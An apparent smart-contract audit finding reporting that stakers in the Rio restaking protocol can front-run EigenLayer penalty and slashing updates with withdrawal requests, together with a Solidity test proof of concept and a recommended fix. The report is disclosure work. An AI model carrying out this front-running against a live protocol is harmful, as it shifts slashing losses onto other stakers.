Vulnerability: Stakers can avoid validator penalties
Severity: medium

Description:
Stakers can frontrun validators penalties and slashing events with a withdrawal request in order to avoid the loss, this is possible if the deposit pool has enough liquidity available.\\nValidators can lose part of their deposit via penalties or slashing events:\\nIn case of penalties Eigenlayer can be notified of the balance drop via the permissionless function EigenPod::verifyBalanceUpdates().\\nIn case of slashing the validator is forced to exit and Eigenlayer can be notified via the permissionless function EigenPod::verifyAndProcessWithdrawals() because the slashing event is effectively a full withdrawal.\\nAs soon as either EigenPod::verifyBalanceUpdates() or EigenPod::verifyAndProcessWithdrawals() is called the TVL of the Rio protocol drops instantly. This is because both of the functions update the variable podOwnerShares[podOwner]:\\nEigenPod::verifyBalanceUpdates() will update the variable here\\nEigenPod::verifyAndProcessWithdrawals() will update the variable here\\nThis makes it possible for stakers to:\\nRequest a withdrawal via RioLRTCoordinator::rebalance() for all the `LRTTokens` held.\\nCall either EigenPod::verifyBalanceUpdates() or EigenPod::verifyAndProcessWithdrawals().\\nAt this point when RioLRTCoordinator::rebalance() will be called and a withdrawal will be queued that does not include penalties or slashing.\\nIt's possible to withdraw `LRTTokens` while avoiding penalties or slashing up to the amount of liquidity available in the deposit pool.\\nPOC\\nI wrote a POC whose main point is to show that requesting a withdrawal before an instant TVL drop will withdraw the full amount requested without taking the drop into account. The POC doesn't show that EigenPod::verifyBalanceUpdates() or EigenPod::verifyAndProcessWithdrawals() actually lowers the TVL because I wasn't able to implement it in the tests.\\nAdd imports to RioLRTCoordinator.t.sol:\\n```\\nimport {IRioLRTOperatorRegistry} from 'contracts/interfaces/IRioLRTOperatorRegistry.sol';\\nimport {RioLRTOperatorDelegator} from 'contracts/restaking/RioLRTOperatorDelegator.sol';\\nimport {CredentialsProofs, BeaconWithdrawal} from 'test/utils/beacon-chain/MockBeaconChain.sol';\\n```\\n\\nthen copy-paste:\\n```\\nIRioLRTOperatorRegistry.StrategyShareCap[] public emptyStrategyShareCaps;\\nfunction test_avoidInstantPriceDrop() public {\\n    //-> Add two operators with 1 validator each\\n    uint8[] memory operatorIds = addOperatorDelegators(\\n        reETH.operatorRegistry,\\n        address(reETH.rewardDistributor),\\n        2,\\n        emptyStrategyShareCaps,\\n        1\\n    );\\n    address operatorAddress0 = address(uint160(1));\\n\\n    //-> Deposit ETH so there's 74ETH in the deposit pool\\n    uint256 depositAmount = 2*ETH_DEPOSIT_SIZE - address(reETH.depositPool).balance;\\n    uint256 amountToWithdraw = 10 ether;\\n    reETH.coordinator.depositETH{value: amountToWithdraw + depositAmount}();\\n\\n    //-> Stake the 64ETH on the validators, 32ETH each and 10 ETH stay in the deposit pool\\n    vm.prank(EOA, EOA);\\n    reETH.coordinator.rebalance(ETH_ADDRESS);\\n\\n    //-> Attacker notices a validator is going receive penalties and immediately requests a withdrawal of 10ETH\\n    reETH.coordinator.requestWithdrawal(ETH_ADDRESS, amountToWithdraw);\\n\\n    //-> Validator get some penalties and Eigenlayer notified \\n    //IMPORTANT: The following block of code it's a simulation of what would happen if a validator balances gets lowered because of penalties\\n    //and `verifyBalanceUpdates()` gets called on Eigenlayer. It uses another bug to achieve an instant loss of TVL.\\n\\n    //      ~~~Start penalties simulation~~~\\n    {\\n        //-> Verify validators credentials of the two validators\\n        verifyCredentialsForValidators(reETH.operatorRegistry, 1, 1);\\n        verifyCredentialsForValidators(reETH.operatorRegistry, 2, 1);\\n\\n        //-> Cache current TVL and ETH Balance\\n        uint256 TVLBefore = reETH.coordinator.getTVL();\\n\\n        //->Operator calls `undelegate()` on Eigenlayer\\n        //IMPORTANT: This achieves the same a calling `verifyBalanceUpdates()` on Eigenlayer after a validator suffered penalties,\\n        //an instant drop in TVL.\\n        IRioLRTOperatorRegistry.OperatorPublicDetails memory details = reETH.operatorRegistry.getOperatorDetails(operatorIds[0]);\\n        vm.prank(operatorAddress0);\\n        delegationManager.undelegate(details.delegator);\\n\\n        //-> TVL dropped\\n        uint256 TVLAfter = reETH.coordinator.getTVL();\\n\\n        assertLt(TVLAfter, TVLBefore);\\n    }\\n    //      ~~~End penalties simulation~~~\\n\\n    //-> Rebalance gets called\\n    skip(reETH.coordinator.rebalanceDelay());\\n    vm.prank(EOA, EOA);\\n    reETH.coordinator.rebalance(ETH_ADDRESS);\\n\\n    //-> Attacker receives all of the ETH he withdrew, avoiding the effect of penalties\\n    uint256 balanceBefore = address(this).balance;\\n    reETH.withdrawalQueue.claimWithdrawalsForEpoch(IRioLRTWithdrawalQueue.ClaimRequest({asset: ETH_ADDRESS, epoch: 0}));\\n    uint256 balanceAfter = address(this).balance;\\n    assertEq(balanceAfter - balanceBefore, amountToWithdraw);\\n}\\n```\\n

Impact:
Stakers can avoid validator penalties and slashing events if there's enough liquidity in the deposit pool.

Recommended mitigation:
When RioLRTCoordinator::rebalance() is called and penalties or slashing events happened during the epoch being settled, distribute the correct amount of penalties to all the `LRTTokens` withdrawn in the current epoch, including the ones that requested the withdrawal before the drop.